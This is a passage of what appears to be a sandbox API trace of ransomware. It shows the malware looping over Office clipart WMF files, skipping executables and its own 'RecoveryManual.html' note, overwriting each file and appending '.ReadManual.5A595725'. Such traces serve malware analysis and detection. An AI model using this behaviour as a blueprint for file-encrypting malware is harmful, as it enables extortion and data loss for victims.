(psz1="WMF", psz2="cat") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.089] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" [0266.089] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.ReadManual.5A595725" [0266.089] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.ReadManual.5A595725") returned 87 [0266.089] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38675797795) returned 1 [0266.089] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20 [0266.089] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.090] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15988) returned 1 [0266.090] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e74, lpName=0x0) returned 0x184 [0266.090] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.090] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.090] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.092] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.092] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e74) returned 0x2f0000 [0266.092] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.093] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38676139203) returned 1 [0266.093] CloseHandle (hObject=0x184) returned 1 [0266.093] SetSecurityInfo () returned 0x57 [0266.093] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.093] CloseHandle (hObject=0x194) returned 1 [0266.093] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0266.093] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0102594.WMF" | out: lpString1="J0102594.WMF") returned="J0102594.WMF" [0266.093] lstrcmpiW (lpString1="J0102594.WMF", lpString2="RecoveryManual.html") returned -1 [0266.093] StrStrIW (lpFirst="J0102594.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.093] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.093] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.094] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" [0266.094] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.ReadManual.5A595725" [0266.094] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.ReadManual.5A595725") returned 87 [0266.094] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38676238229) returned 1 [0266.094] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20 [0266.094] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.094] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=27000) returned 1 [0266.094] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6978, lpName=0x0) returned 0x184 [0266.094] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.095] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.095] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.097] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.097] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6978) returned 0x2f0000 [0266.097] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.097] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38676617932) returned 1 [0266.097] CloseHandle (hObject=0x184) returned 1 [0266.098] SetSecurityInfo () returned 0x57 [0266.098] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.098] CloseHandle (hObject=0x194) returned 1 [0266.098] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0266.098] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0102762.WMF" | out: lpString1="J0102762.WMF") returned="J0102762.WMF" [0266.098] lstrcmpiW (lpString1="J0102762.WMF", lpString2="RecoveryManual.html") returned -1 [0266.098] StrStrIW (lpFirst="J0102762.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.098] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.098] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.098] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" [0266.098] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.ReadManual.5A595725" [0266.098] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.ReadManual.5A595725") returned 87 [0266.098] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38676720419) returned 1 [0266.098] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20 [0266.099] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.099] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11216) returned 1 [0266.099] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2bd0, lpName=0x0) returned 0x184 [0266.099] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.100] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.100] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.101] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.101] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2bd0) returned 0x2f0000 [0266.102] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.102] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38677050498) returned 1 [0266.102] CloseHandle (hObject=0x184) returned 1 [0266.102] SetSecurityInfo () returned 0x57 [0266.102] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.102] CloseHandle (hObject=0x194) returned 1 [0266.102] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0266.102] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0102984.WMF" | out: lpString1="J0102984.WMF") returned="J0102984.WMF" [0266.102] lstrcmpiW (lpString1="J0102984.WMF", lpString2="RecoveryManual.html") returned -1 [0266.102] StrStrIW (lpFirst="J0102984.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.102] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.102] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.103] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.103] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.103] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.103] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.103] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.103] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" [0266.103] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.ReadManual.5A595725" [0266.103] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.ReadManual.5A595725") returned 87 [0266.103] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38677153348) returned 1 [0266.103] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20 [0266.103] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.103] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17040) returned 1 [0266.103] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4290, lpName=0x0) returned 0x184 [0266.103] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.104] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.104] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.106] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.106] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4290) returned 0x2f0000 [0266.106] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.106] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38677518338) returned 1 [0266.106] CloseHandle (hObject=0x184) returned 1 [0266.107] SetSecurityInfo () returned 0x57 [0266.107] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.107] CloseHandle (hObject=0x194) returned 1 [0266.107] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0266.107] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0103058.WMF" | out: lpString1="J0103058.WMF") returned="J0103058.WMF" [0266.107] lstrcmpiW (lpString1="J0103058.WMF", lpString2="RecoveryManual.html") returned -1 [0266.107] StrStrIW (lpFirst="J0103058.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.107] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.107] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.107] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" [0266.107] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.ReadManual.5A595725" [0266.107] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.ReadManual.5A595725") returned 87 [0266.107] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38677613738) returned 1 [0266.107] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20 [0266.108] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.108] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17344) returned 1 [0266.108] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43c0, lpName=0x0) returned 0x184 [0266.108] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.108] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.109] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.110] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.111] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43c0) returned 0x2f0000 [0266.111] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.111] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38677971716) returned 1 [0266.111] CloseHandle (hObject=0x184) returned 1 [0266.111] SetSecurityInfo () returned 0x57 [0266.111] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.111] CloseHandle (hObject=0x194) returned 1 [0266.111] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0266.111] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0103262.WMF" | out: lpString1="J0103262.WMF") returned="J0103262.WMF" [0266.111] lstrcmpiW (lpString1="J0103262.WMF", lpString2="RecoveryManual.html") returned -1 [0266.111] StrStrIW (lpFirst="J0103262.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.111] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.111] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.111] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.111] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.112] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.112] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" [0266.112] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.ReadManual.5A595725" [0266.112] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.ReadManual.5A595725") returned 87 [0266.112] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38678067703) returned 1 [0266.112] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20 [0266.112] CreateFileW (lpFileName="\\\\?\\c:\\Program 